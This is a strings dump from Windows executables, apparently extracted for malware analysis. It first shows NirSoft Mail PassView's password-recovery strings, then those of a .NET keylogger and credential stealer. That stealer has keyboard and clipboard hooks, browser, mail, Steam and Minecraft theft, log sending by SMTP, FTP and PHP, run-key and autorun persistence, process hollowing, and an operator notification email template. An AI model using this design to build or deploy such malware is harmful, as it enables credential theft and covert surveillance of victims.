1048140917235959Z0
1049Ramat Gan1
10505 Hashoshanim st.1
1051Nir Sofer1
1052Nir Sofer0
1053https://secure.comodo.net/CPS0A
10540http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
10550http://crt.comodoca.com/COMODOCodeSigningCA2.crt0$
1056http://ocsp.comodoca.com0
1057support@nirsoft.net0
1058Greater Manchester1
1059COMODO CA Limited1!0
1060COMODO Code Signing CA 2
1061Salt Lake City1
1062The USERTRUST Network1!0
1063http://www.usertrust.com1
1064UTN-USERFirst-Object
1065131113095028Z0#
1066!This program cannot be run in DOS mode.
1067D$l+D$d@P3
1068MS Sans Serif
1069Mail PassView
1070Mozilla\Profiles
1071Thunderbird\Profiles
1072Software\Qualcomm\Eudora\CommandLine
1073Software\Classes\Software\Qualcomm\Eudora\CommandLine\current
1074Software\Mozilla\Mozilla Thunderbird
1075Install Directory
1076sqlite3.dll
1077%programfiles%\Mozilla Thunderbird
1078ShowGridLines
1079SaveFilterIndex
1080AddExportHeaderLine
1081MarkOddEvenRows
1082%s %s %s
1083POP3 User Name
1084IMAP User Name
1085HTTPMail User Name
1086SMTP USer Name
1087POP3 Server
1088IMAP Server
1089HTTPMail Server
1090SMTP Server
1091POP3 Password2
1092IMAP Password2
1093HTTPMail Password2
1094SMTP Password2
1095HTTPMail Port
1096POP3 Secure Connection
1097IMAP Secure Connection
1098HTTPMail Secure Connection
1099SMTP Secure Connection
1100SMTP Display Name
1101SMTP Email Address
1102POP3 Password
1103IMAP Password
1104HTTP Password
1105SMTP Password
1106HTTP Server URL
1107POP3 Use SPA
1108IMAP Use SPA
1109HTTPMail Use SSL
1110SMTP Use SSL
1111Display Name
1112Identities
1113Software\Microsoft\Internet Account Manager\Accounts
1114Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
1115DisplayName
1116EmailAddress
1117PopAccount
1118PopLogSecure
1119PopPassword
1120SMTPAccount
1121SMTPServer
1122SMTPLogSecure
1123SMTPPassword
1124Software\IncrediMail\Identities
1125%s\Accounts
1126ReturnAddress
1127SavePasswordText
1128Personalities
1129Server Details
1130ESMTPUsername
1131ESMTPPassword
1132POP3Server
1133POP3Username
1134POP3Password
1135InstallPath
1136Software\Group Mail
1137%s@gmail.com
1138%s@yahoo.com
1139"Account","Login Name","Password","Web Site","Comments"
1140www.google.com/Please log in to your Gmail account
1141www.google.com:443/Please log in to your Gmail account
1142www.google.com/Please log in to your Google Account
1143www.google.com:443/Please log in to your Google Account
1144Software\Microsoft\Windows Messaging Subsystem\Profiles
1145Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
1146Software\Microsoft\Office\15.0\Outlook\Profiles
1147<meta http-equiv='content-type' content='text/html;charset=%s'>
1148<table dir="rtl"><tr><td>
1149<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>
1150www.google.com
1151advapi32.dll
1152CredDeleteA
1153CredEnumerateA
1154CredEnumerateW
1155comctl32.dll
1156InitCommonControlsEx
1157Error: Cannot load the common control classes.
1158netmsg.dll
1159Unknown Error
1160Error %d: %s
1161kernel32.dll
1162POP3_credentials
1163Software\Google\Google Desktop\Mailboxes
1164Software\Google\Google Talk\Accounts
1165Microsoft_WinInet
1166sysdatetimepick32
1167TranslatorName
1168TranslatorURL
1169%%-%d.%ds
1170<td bgcolor=#%s nowrap>%s
1171<td bgcolor=#%s>%s
1172<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
1173 bgcolor="%s"
1174<table border="1" cellpadding="5">
1175<font color="%s">%s</font>
1176</table><p>
1177<%s>%s</%s>
1178<?xml version="1.0" encoding="ISO-8859-1" ?>
1179SysListView32
1180/noloadsettings
1181report.html
1182commdlg_FindReplace
1183*.htm;*.html
1184Software\NirSoft\MailPassView
1185MailPassView
1186/savelangfile
1187/deleteregkey
1188Failed to load the executable file !
1189user_pref("
1190mail.account.account
1191identities
1192mail.server
1193useSecAuth
1194mail.identity
1195signon.signonfilename
1196mailbox://
1197mailbox://%s@%s
1198imap://%s@%s
1199SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins
1200mailbox://%s
1201signons.txt
1202signons.sqlite
1203Password.NET Messenger Service
1204User.NET Messenger Service
1205Software\Microsoft\MSNMessenger
1206Software\Microsoft\MessengerService
1207Passport.Net\*
1208ps:password
1209WindowsLive:name=*
1210windowslive:name=
1211Software\Microsoft\IdentityCRL
1212Dynamic Salt
1213Exception %8.8X at address %8.8X in module %s
1214Registers:
1215EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8X
1216ESI=%8.8X EDI=%8.8X EBP=%8.8X ESP=%8.8X
1217Stack Data: %s
1218Code Data: %s
1219mozsqlite3.dll
1220NSS_Shutdown
1221PK11_GetInternalKeySlot
1222PK11_FreeSlot
1223PK11_CheckUserPassword
1224PK11_Authenticate
1225PK11SDR_Decrypt
1226CreateToolhelp32Snapshot
1227Module32First
1228Module32Next
1229Process32First
1230Process32Next
1231GetModuleBaseNameA
1232EnumProcessModules
1233GetModuleFileNameExA
1234EnumProcesses
1235GetModuleInformation
1236\systemroot
1237pstorec.dll
1238PStoreCreateInstance
12395e7e8100-9138-11d1-945a-00c04fc308ff
124000000000-0000-0000-0000-000000000000
1241220D5CD0-853A-11D0-84BC-00C04FD43F8F
1242220D5CD1-853A-11D0-84BC-00C04FD43F8F
1243220D5CC1-853A-11D0-84BC-00C04FD43F8F
1244417E2D75-84BD-11D0-84BB-00C04FD43F8F
1245shell32.dll
1246SHGetSpecialFolderPathA
1247Start Menu
1248Common Start Menu
1249Common Programs
1250Common Desktop
1251Common Startup
1252Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
1253shlwapi.dll
1254SHAutoComplete
1255%2.2X%2.2X%2.2X
1256<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
1257<html><head>%s<title>%s</title></head>
1258%s <h3>%s</h3>
1259</body></html>
1260 size="%d"
1261 color="#%s"
1262<font color="%s">
1263<table border="1" cellpadding="5"><tr%s>
1264 width="%s"
1265<th%s>%s%s%s
1266SOFTWARE\Mozilla
1267\sqlite3.dll
1268\mozsqlite3.dll
1269sqlite3_open
1270sqlite3_prepare
1271sqlite3_step
1272sqlite3_column_text
1273sqlite3_column_int
1274sqlite3_column_int64
1275sqlite3_finalize
1276sqlite3_close
1277sqlite3_exec
1278Software\Microsoft\Windows Mail
1279Software\Microsoft\Windows Live Mail
1280Account_Name
1281POP3_Server
1282IMAP_Server
1283NNTP_Server
1284SMTP_Server
1285POP3_User_Name
1286IMAP_User_Name
1287NNTP_User_Name
1288SMTP_User_Name
1289POP3_Password2
1290IMAP_Password2
1291NNTP_Password2
1292SMTP_Password2
1293NNTP_Email_Address
1294SMTP_Email_Address
1295SMTP_Secure_Connection
1296NNTP_Secure_Connection
1297IMAP_Secure_Connection
1298POP3_Secure_Connection
1299*.oeaccount
1300\Microsoft\Windows Mail
1301\Microsoft\Windows Live Mail
1302Store Root
1303Software\Yahoo\Pager
1304Yahoo! User ID
1305EOptions string
1306f:\Projects\VS2005\mailpv\Release\mailpv.pdb
1307??2@YAPAXI@Z
1308??3@YAXPAX@Z
1309_mbsnbicmp
1310msvcrt.dll
1311__dllonexit
1312_XcptFilter
1313__getmainargs
1314__setusermatherr
1315_adjust_fdiv
1316__p__commode
1317__p__fmode
1318__set_app_type
1319_controlfp
1320_except_handler3
1321ImageList_ReplaceIcon
1322ImageList_AddMasked
1323ImageList_Create
1324ImageList_SetImageCount
1325CreateToolbarEx
1326COMCTL32.dll
1327UuidFromStringA
1328RPCRT4.dll
1329GetPrivateProfileStringA
1330MultiByteToWideChar
1331WideCharToMultiByte
1332ExpandEnvironmentStringsA
1333GetPrivateProfileSectionA
1334FreeLibrary
1335GetProcAddress
1336LoadLibraryA
1337GlobalLock
1338GlobalUnlock
1339CreateFileA
1340GetFileSize
1341GetModuleFileNameA
1342FindNextFileA
1343FindFirstFileA
1344LoadLibraryExA
1345SetFilePointer
1346GetLastError
1347GetFileAttributesA
1348GetTempFileNameA
1349FormatMessageA
1350GetWindowsDirectoryA
1351GetVersionExA
1352CloseHandle
1353GetTempPathA
1354GlobalAlloc
1355GetComputerNameA
1356GetPrivateProfileIntA
1357WritePrivateProfileStringA
1358EnumResourceNamesA
1359GetStdHandle
1360DeleteFileA
1361ExitProcess
1362GetCurrentProcess
1363ReadProcessMemory
1364GetCurrentProcessId
1365GetModuleHandleA
1366GetCurrentDirectoryA
1367SetCurrentDirectoryA
1368OpenProcess
1369FindResourceA
1370LoadResource
1371EnumResourceTypesA
1372SizeofResource
1373LockResource
1374GetStartupInfoA
1375KERNEL32.dll
1376ChildWindowFromPoint
1377LoadCursorA
1378GetSysColorBrush
1379ShowWindow
1380GetDlgItem
1381CreateWindowExA
1382InvalidateRect
1383SetDlgItemInt
1384BeginPaint
1385GetClientRect
1386SetDlgItemTextA
1387DrawFrameControl
1388GetDlgItemTextA
1389SendDlgItemMessageA
1390SetWindowTextA
1391GetWindowRect
1392GetSystemMetrics
1393GetDlgItemInt
1394DeferWindowPos
1395GetWindowPlacement
1396RegisterClassA
1397UpdateWindow
1398LoadAcceleratorsA
1399SetWindowPos
1400DefWindowProcA
1401TranslateAcceleratorA
1402MessageBoxA
1403SendMessageA
1404GetWindowLongA
1405SetWindowLongA
1406BeginDeferWindowPos
1407EndDeferWindowPos
1408EmptyClipboard
1409GetSubMenu
1410MoveWindow
1411EnableMenuItem
1412CheckMenuItem
1413GetMenuItemCount
1414GetMenuStringA
1415SetClipboardData
1416EnableWindow
1417MapWindowPoints
1418GetCursorPos
1419LoadImageA
1420GetSysColor
1421GetClassNameA
1422CloseClipboard
1423OpenClipboard
1424EnumChildWindows
1425GetMenuItemInfoA
1426GetWindowTextA
1427LoadStringA
1428CreateDialogParamA
1429ModifyMenuA
1430DestroyWindow
1431DialogBoxParamA
1432GetDlgCtrlID
1433DestroyMenu
1434PostMessageA
1435TrackPopupMenu
1436PostQuitMessage
1437RegisterWindowMessageA
1438TranslateMessage
1439GetMessageA
1440IsDialogMessageA
1441DrawTextExA
1442DispatchMessageA
1443USER32.dll
1444CreateFontIndirectA
1445SetTextColor
1446DeleteObject
1447SelectObject
1448GetDeviceCaps
1449SetBkColor
1450GetTextExtentPoint32A
1451GetSaveFileNameA
1452GetOpenFileNameA
1453comdlg32.dll
1454RegCloseKey
1455GetUserNameA
1456RegDeleteKeyA
1457RegOpenKeyExA
1458RegEnumKeyA
1459RegQueryValueExA
1460RegEnumKeyExA
1461ADVAPI32.dll
1462ShellExecuteA
1463SHBrowseForFolderA
1464SHGetMalloc
1465SHGetPathFromIDListA
1466SHELL32.dll
1467CoInitialize
1468CoUninitialize
1469CoTaskMemFree
1470%GKP$^%^&LL(%^$^O&TR$^%^GV6;lxzd
1471abe2869f-9b47-4cd9-a358-c22904dba7f7
147282BD0E67-9FEA-4748-8672-D5EFE5B779B0
1473wwwwwwwwwwwwwwwwwwww~gww
1474wwwwwwwwwwwwwwN
1475wwwwww~fww
1476wwwwpw~fhw
1477wwwwwwwwwwwp
1478wwwwwwwwwwwx
1479wwwwwwwwwwwwwwwwwwwwwwww
1480wwwwwwwwwww(
1481wwwwwwwwwwwwwwp
1482Select &Folders
1483&Save Selected Items
1484&Properties
1485&Copy Selected Items
1486Copy Password
1487Select &All
1488Deselect All
1489Show &Grid Lines
1490Add Header Line To CSV/Tab-Delimited File
1491Mark Odd/Even Rows
1492&HTML Report - All Items
1493HTML R&eport - Selected Items
1494Choose Colum&ns
1495&Auto Size Columns
1496&Save Selected Items
1497&Copy Selected Items
1498Copy Password
1499HTML Report - All Items
1500HTML Report - Selected Items
1501Choose Colum&ns
1502&Auto Size Columns
1503&Properties
1504Properties
1505MS Sans Serif
1506Exception !
1507MS Sans Serif
1508Copy Exception
1509Terminate Application
1510The following application error has occurred:
1511If this problem persists, copy the above exception information to the clipboard, and send it to the author of this software.
1512Select Folders / Files
1513MS Sans Serif
1514ThunderBird Profiles:
1515ThunderBird 3 Installation:
1516Netscape Folder:
1517Eudora INI File:
1518MS Sans Serif
1519Translation:
1520Column Settings
1521MS Shell Dlg
1522SysListView32
1523Move &Down
1524Check the columns that you would like to make visible. Use the Move Up and Move Down buttons to reorder the columns
1525Width of selected column (in pixels):
1526, %d Selected
1527Created by using
1528Select a filename to save
1529Email Accounts List
1530Select base folder of Netscape!Select base folder of ThunderBird
1531Select Eudora.ini filename/Select the location of Thunderbird installation
1532Loading... %d
1533Text Files
1534Tab delimited text file
1535Tabular Text File
1536HTML File - Horizontal
1537HTML File - Vertical
1538Comma delimited text file
1539KeePass csv file
1540Eudora.ini file
1541Outlook Express
1542IncrediMail
1543Group Mail Free
1544MS Outlook
1545MS Outlook 2002/2003/2007/2010
1546Hotmail/MSN
1547Yahoo! Mail
1548Netscape Mail
1549Thunderbird
1550Google Desktop
1551Windows Mail
1552Windows Live Mail
1553Outlook 2013
1554Application
1555Server Port
1556Password Strength
1557SMTP Server
1558SMTP Server Port
1559Very Strong
1560VS_VERSION_INFO
1561StringFileInfo
1562CompanyName
1563FileDescription
1564Mail Password Recovery
1565FileVersion
1566InternalName
1567Mail PassView
1568LegalCopyright
1569Copyright
1570 2003 - 2013 Nir Sofer
1571OriginalFilename
1572mailpv.exe
1573ProductName
1574Mail PassView
1575ProductVersion
1576VarFileInfo
1577Translation
1578<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="NirSoft" type="win32"></assemblyIdentity><description>NirSoft</description><dependency><dependentAssembly><assemblyIdentity type="Win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity></dependentAssembly></dependency></assembly>PADPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD
1579v2.0.50727
1580 3, +7 #,)
1581@c,CsfC+WI
1582`c,c+Wcsfi
1583Debugger.exe
1584Microsoft.VisualBasic
1585System.Windows.Forms
1586System.Drawing
1587System.Management
1588tapi32.dll
1589user32.dll
1590Debugger.Debugger.resources
1591Debugger.Resources.resources
1592MyApplication
1593Debugger.My
1594WindowsFormsApplicationBase
1595Microsoft.VisualBasic.ApplicationServices
1596get_UseCompatibleTextRendering
1597Application
1598SetCompatibleTextRenderingDefault
1599STAThreadAttribute
1600EditorBrowsableAttribute
1601System.ComponentModel
1602EditorBrowsableState
1603DebuggerHiddenAttribute
1604System.Diagnostics
1605AuthenticationMode
1606set_IsSingleInstance
1607set_EnableVisualStyles
1608set_SaveMySettingsOnExit
1609set_ShutdownStyle
1610ShutdownMode
1611DebuggerStepThroughAttribute
1612set_MainForm
1613OnCreateMainForm
1614GeneratedCodeAttribute
1615System.CodeDom.Compiler
1616MyComputer
1617Microsoft.VisualBasic.Devices
1618m_ComputerObjectProvider
1619m_AppObjectProvider
1620m_UserObjectProvider
1621m_MyFormsObjectProvider
1622m_MyWebServicesObjectProvider
1623get_GetInstance
1624get_Computer
1625get_Application
1626get_WebServices
1627HelpKeywordAttribute
1628System.ComponentModel.Design
1629WebServices
1630StandardModuleAttribute
1631Microsoft.VisualBasic.CompilerServices
1632HideModuleNameAttribute
1633m_Debugger
1634m_FormBeingCreated
1635System.Collections
1636ThreadStaticAttribute
1637get_Debugger
1638ArgumentException
1639set_Debugger
1640TargetInvocationException
1641System.Reflection
1642get_IsDisposed
1643GetTypeFromHandle
1644RuntimeTypeHandle
1645ContainsKey
1646GetResourceString
1647InvalidOperationException
1648CreateInstance
1649ProjectData
1650SetProjectError
1651get_InnerException
1652get_Message
1653Create__Instance__
1654Dispose__Instance__
1655RuntimeHelpers
1656System.Runtime.CompilerServices
1657GetObjectValue
1658GetHashCode
1659MyGroupCollectionAttribute
1660MyWebServices
1661ThreadSafeObjectProvider`1
1662m_ThreadStaticValue
1663CompilerGeneratedAttribute
1664GetInstance
1665ComVisibleAttribute
1666System.Runtime.InteropServices
1667components
1668IContainer
1669encryptedemailstring
1670encryptedpassstring
1671encryptedsmtpstring
1672portstring
1673timerstring
1674fakemgrstring
1675fakemgrtitle
1676fakeMSGholder
1677encryptedftphost
1678encryptedftpuser
1679encryptedftppass
1680encryptedphplink
1681DestructoneString
1682DestructtwoString
1683DestructthreeStringyear
1684Downloader
1685Downloadname
1686Downloadlink
1687websitevisitor
1688websiteblocker
1689DisableSSL
1690TaskManager
1691screenynumber
1692Minecraftt
1693meltLocation
1694AccessedThroughPropertyAttribute
1695emailstring
1696passstring
1697smtpstring
1698WM_KEYDOWN
1699WM_SYSKEYDOWN
1700WM_SYSKEYUP
1701KeyboardHandle
1702LastCheckedForegroundTitle
1703InternalIp
1704MyFirewall
1705CleanedPasswordsMAIL
1706CleanedPasswordsWB
1707EventHandler
1708GetTempPath
1709Environment
1710GetFolderPath
1711SpecialFolder
1712get_ExecutablePath
1713GetFileName
1714op_Explicit
1715IDisposable
1716DebuggerNonUserCodeAttribute
1717SuspendLayout
1718ContainerControl
1719set_AutoScaleDimensions
1720set_AutoScaleMode
1721AutoScaleMode
1722set_ClientSize
1723set_FormBorderStyle
1724FormBorderStyle
1725set_MaximizeBox
1726set_MinimizeBox
1727set_Opacity
1728set_ShowIcon
1729set_ShowInTaskbar
1730set_WindowState
1731FormWindowState
1732ResumeLayout
1733InitializeComponent
1734WithEventsValue
1735UnhookWindowsHookEx
1736SetWindowsHookEx
1737dwThreadId
1738SetWindowsHookExA
1739GetAsyncKeyState
1740CallNextHookEx
1741lineSetAppSpecific
1742dwAppSpecific
1743MgmGetNextMfeStats
1744pdwBufferSize
1745pdwNumEntries
1746GetForegroundWindow
1747GetWindowText
1748GetWindowTextA
1749CompareMethod
1750ClearProjectError
1751GetActiveWindowTitle
1752op_Inequality
1753GetCurrentProcess
1754get_MainModule
1755ProcessModule
1756get_BaseAddress
1757HookKeyboard
1758Conversions
1759UnhookKeyboard
1760ConditionalCompareObjectNotEqual
1761ConcatenateObject
1762DateAndTime
1763get_Keyboard
1764get_CtrlKeyDown
1765get_AltKeyDown
1766CompareString
1767get_CapsLock
1768get_Length
1769KeyboardCallback
1770System.Threading
1771IEnumerator`1
1772System.Collections.Generic
1773WriteAllText
1774ServerComputer
1775get_FileSystem
1776FileSystemProxy
1777Microsoft.VisualBasic.MyServices
1778ReadAllText
1779DeleteFile
1780ThreadStart
1781SetApartmentState
1782ApartmentState
1783IsNullOrEmpty
1784FromBase64String
1785WriteAllBytes
1786get_Network
1787DownloadFile
1788GetDirectories
1789ReadOnlyCollection`1
1790System.Collections.ObjectModel
1791GetEnumerator
1792get_Current
1793IEnumerator
1794get_NewLine
1795AppendAllText
1796Interaction
1797MsgBoxResult
1798MsgBoxStyle
1799Form1_Load
1800GetProcessesByName
1801ForceSteamLogin
1802MethodInfo
1803get_EntryPoint
1804NetworkInterface
1805System.Net.NetworkInformation
1806GetAllNetworkInterfaces
1807get_NetworkInterfaceType
1808NetworkInterfaceType
1809get_OperationalStatus
1810OperationalStatus
1811IsConnectedToInternet
1812Foldersinstall
1813MessageBox
1814DialogResult
1815MessageBoxButtons
1816MessageBoxIcon
1817FakemsgInstall
1818MailMessage
1819System.Net.Mail
1820SmtpClient
1821get_LocalTime
1822ComputerInfo
1823get_InstalledUICulture
1824CultureInfo
1825System.Globalization
1826get_OSFullName
1827MailAddress
1828MailAddressCollection
1829set_Subject
1830set_EnableSsl
1831NetworkCredential
1832System.Net
1833set_Credentials
1834ICredentialsByHost
1835ServerInstall
1836get_Registry
1837RegistryProxy
1838RegistryValueKind
1839Microsoft.Win32
1840DirectoryInfo
1841FileSystemInfo
1842set_Attributes
1843FileAttributes
1844StreamWriter
1845get_DriveType
1846TextWriter
1847SetAttributes
1848RegistryKey
1849FileSystem
1850CurrentUser
1851OpenSubKey
1852addtostartup
1853DESCryptoServiceProvider
1854System.Security.Cryptography
1855MD5CryptoServiceProvider
1856ICryptoTransform
1857System.Text
1858get_Unicode
1859HashAlgorithm
1860ComputeHash
1861SymmetricAlgorithm
1862CipherMode
1863CreateDecryptor
1864TransformFinalBlock
1865DES_Decrypt
1866NewLateBinding
1867ChangeType
1868StartStealers
1869get_Version
1870get_OSPlatform
1871get_OSVersion
1872stealWebroswers
1873StreamReader
1874FileStream
1875WaitUntilFileIsAvailable
1876MemoryStream
1877GZipStream
1878System.IO.Compression
1879BitConverter
1880set_Position
1881CompressionMode
1882DecompressString
1883compressedText
1884get_Attachments
1885AttachmentCollection
1886Attachment
1887Collection`1
1888Minecraftsub
1889GetProcesses
1890get_ProcessName
1891CreateDirectory
1892get_Screen
1893get_Bounds
1894get_Height
1895CopyFromScreen
1896SendLogsFTP
1897FtpWebRequest
1898BinaryWriter
1899WebRequest
1900ICredentials
1901set_Method
1902GetRequestStream
1903ReadAllBytes
1904SendLogsPHP
1905DownloadString
1906get_TimeOfDay
1907get_Clipboard
1908ClipboardProxy
1909CH_Changed
1910RijndaelManaged
1911AES_Decrypt
1912CryptoStream
1913CryptoStreamMode
1914encryptedBytes
1915Rfc2898DeriveBytes
1916set_KeySize
1917get_BlockSize
1918get_KeySize
1919set_Padding
1920PaddingMode
1921getAlgorithm
1922seekanddestroy
1923process__1
1924GetHostName
1925GetHostEntry
1926IPHostEntry
1927get_AddressList
1928get_AddressFamily
1929AddressFamily
1930System.Net.Sockets
1931GetInternalIP
1932GetExternalIP
1933GetBetween
1934ManagementObjectCollection
1935ManagementObjectSearcher
1936ManagementObject
1937ManagementObjectEnumerator
1938get_MachineName
1939ManagementBaseObject
1940GetAntiVirus
1941GetFirewall
1942DesignerGeneratedAttribute
1943KBDLLHOOKSTRUCT
1944dwExtraInfo
1945virtualKey
1946K_Backspace
1947K_LControl
1948K_RControl
1949K_PrintScreen
1950K_CapsLock
1951K_Num_Divide
1952K_Num_Multiply
1953K_Num_Subtract
1954K_Num_Decimal
1955K_Subtract
1956KeyboardHookDelegate
1957MulticastDelegate
1958TargetObject
1959TargetMethod
1960BeginInvoke
1961IAsyncResult
1962AsyncCallback
1963DelegateCallback
1964DelegateAsyncState
1965DelegateAsyncResult
1966NativeWindow
1967ChangedEvent
1968SetClipboardViewer
1969ChangeClipboardChain
1970SendMessage
1971add_Changed
1972remove_Changed
1973CreateParams
1974CreateHandle
1975get_Handle
1976get_WParam
1977get_LParam
1978op_Equality
1979ChangedEventHandler
1980Debugger.My.Resources
1981resourceMan
1982ResourceManager
1983System.Resources
1984resourceCulture
1985ReferenceEquals
1986get_Assembly
1987get_ResourceManager
1988get_Culture
1989set_Culture
1990get_CMemoryExecute
1991get_mailpv
1992get_WebBrowserPassView
1993CMemoryExecute
1994WebBrowserPassView
1995MySettings
1996ApplicationSettingsBase
1997System.Configuration
1998defaultInstance
1999addedHandler
2000addedHandlerLockObject
2001SettingsBase
2002Synchronized
2003get_SaveMySettingsOnExit
2004AutoSaveSettings
2005ObjectFlowControl
2006CheckForSyncLockOnValueType
2007ShutdownEventHandler
2008add_Shutdown
2009get_Default
2010MySettingsProperty
2011get_Settings
2012WriteProcessMemory
2013VirtualProtectEx
2014VirtualAllocEx
2015SetThreadContext
2016ResumeThread
2017ReadProcessMemory
2018NtUnmapViewOfSection
2019GetThreadContext
2020CreateProcessA
2021StringBuilder
2022GetEntryAssembly
2023get_Location
2024get_SystemDirectory
2025GetRandomFileName
2026ChangeExtension
2027GetDirectoryName
2028AssemblyTrademarkAttribute
2029AssemblyCompanyAttribute
2030AssemblyDescriptionAttribute
2031AssemblyTitleAttribute
2032GuidAttribute
2033AssemblyCopyrightAttribute
2034DebuggableAttribute
2035DebuggingModes
2036AssemblyProductAttribute
2037CompilationRelaxationsAttribute
2038RuntimeCompatibilityAttribute
2039AssemblyFileVersionAttribute
2040Property can only be set to Nothing
2041WinForms_RecursiveFormCreate
2042WinForms_SeeInnerException
2043nW16QZfjRqwq8U5EGw46Od/XWYwrq4OSoQFlp2BUUqD4QPRTX8Qjtm8SoObun05z
2044fXheeTwrhqm892Zue+1pPJ1BR/L5VhVo8o2sP7GZi1E=
20452CIwcKS+kJsRxxcfTtVeBVbTtIcCEyrZ4yxsiA+JNtQ8eQxxb2zfieN9lngqQs8L
2046The application failed to initialize properly (0xc0000135)
2047Microsoft Error
2048MessageBoxIcon.Error
2049W/g7rNM6MD9xkDk1XmqGPuyPa9K9HYplcacI86lDts5vUEb0iGm82lpeTePFcV3j
20509SCtKkuKCUiyB0UGotF/wdfHvG3WlfpJtaYNH9yZgGVNipyil4EFNCWXVbqWrlqbupIZL+/mM1H0aVvcSAuR/g==
2051OHjQbFNIrw4Lvs5wSzjYTDv4T9+fixFOHyAay+E5xW0=
2052i4vNWARBPGR+VB/FqBFQkCnTyM4uuZntyzmrxA2NU3Ouh1yESqjn2BzImGT2aYHTwqtqcQEqT36cexcfEZ/Fz/Q17z1pBBHLqCdx3y/mmdcCgv8v/42RghvO29c7wLF1
2053dontclearie
2054dontclearff
2055Disabledownloader
2056filename.exe
2057http://www.example.com/directory/file.exe
2058websitevisitor
2059websiteblocker
2060Disablenotify
2061DisableSSL
2062Disablefakerror
2063Disablescreeny
2064Disableclip
2065DisableTaskManager
2066Disablelogger
2067Disablemelt
2068Disablereg
2069Disablecmd
2070Disablemsconfig
2071Disablespreaders
2072Disablesteam
2073\Windows Update.exe
2074\WindowsUpdate.exe
2075SysInfo.txt
2076\pidloc.txt
2077EncryptedCredentials
2078Disablestealers
2079\Mozilla\Firefox\Profiles
2080\drivers\etc\hosts
2081127.0.0.1
2082\SteamAppData.vdf
2083\ClientRegistry.blob
2084MessageBoxIcon.Exclamation
2085This is an email notifying you that
2086 has ran your logger and emails should be sent to you shortly and at interval choosen.
2087Logger Details:
2088Server Name:
2089Keylogger Enabled:
2090Clipboard-Logger Enabled:
2091Time Logs will be delivered: Every
2092Stealers Enabled:
2093Time Log will be delivered: Average 2 to 4 minutes
2094Local Date and Time:
2095Installed Language:
2096Operating System:
2097Internal IP Address:
2098External IP Address:
2099Installed Anti-Virus:
2100Installed Firewall:
2101Logger_Notification_
2102Logger - Server Ran - [
2103HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
2104autorun.inf
2105open=Sys.exe
2106action=Run win32
2107Software\Microsoft\Windows\CurrentVersion\Run
2108Windows Update
2109CMemoryExecute
2110C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
2111Microsoft.NET\Framework\v2.0.50727\vbc.exe
2112holdermail.txt"
2113holdermail.txt
2114 **********************************************
2115 Operating System Intel Recovery
2116 **********************************************
2117CPU Name:
2118Local Date and Time:
2119Net Version:
2120Operating System Platform:
2121Operating System Version:
2122 **********************************************
2123 WEB Browser Password Recovery
2124 **********************************************
2125 **********************************************
2126 Mail Messenger Password Recovery
2127 **********************************************
2128 **********************************************
2129 Internet Download Manager Recovery
2130 **********************************************
2131 **********************************************
2132 Jdownloader Password Recovery
2133 **********************************************
2134Logger_Recovery_Log_
2135Logger|Recovery Log - [
2136holderwb.txt"
2137holderwb.txt
2138\.minecraft\lastlogin
2139Logger|Minecraft Stealer - [
2140There is a file attached to this email containing Minecraft username and password download it then decrypt the login information with my Minecraft Decryptor
2141Disablestartup
2142Logger - Key Recorder - [
2143 **********************************************
2144 ClipBoard Log
2145 **********************************************
2146 **********************************************
2147 Keylogger Log
2148 **********************************************
2149screens\screenshot
2150Logger_KeyLog_
2151[------------
2152------------]
2153099u787978786
2154http://whatismyipaddress.com/
2155<!-- do not script -->
2156\root\SecurityCenter2
2157SELECT * FROM AntivirusProduct
2158displayName
2159SELECT * FROM FirewallProduct
2160Debugger.Resources
2161WebBrowserPassView
2162:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
2163MyTemplate
2164My.Computer
2165My.Application
2166My.WebServices
2167System.Windows.Forms.Form
2168Create__Instance__
2169Dispose__Instance__
2170My.MyProject.Forms
21714System.Web.Services.Protocols.SoapHttpClientProtocol
2172Create__Instance__
2173Dispose__Instance__
21743System.Resources.Tools.StronglyTypedResourceBuilder
2175KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
2176My.Settings
2177$e48811ca-8af8-4e73-85dd-2045b9cca73a
2178Copyright
2179WrapNonExceptionThrows
2180_CorExeMain
2181mscoree.dll
2182VS_VERSION_INFO
2183VarFileInfo
2184Translation
2185StringFileInfo
2186FileDescription
2187FileVersion
2188InternalName
2189Debugger.exe
2190LegalCopyright
2191Copyright
2192OriginalFilename
2193Debugger.exe
2194ProductVersion
2195Assembly Version
2196wwwwwwwwwwwwwwp
2197DDDDDDDDDDDDDDp
2198DDDDDDDDDDDDDDp
2199LLLLLLLLLN
2200DDDDDDDDDDDDD@
2201wwwwwwwDDDDDDDGO
2202<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2203<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
2204 <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
2205 <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
2206 <security>
2207 <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
2208 <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
2209 </requestedPrivileges>
2210 </security>
2211 </trustInfo>
2212</assembly>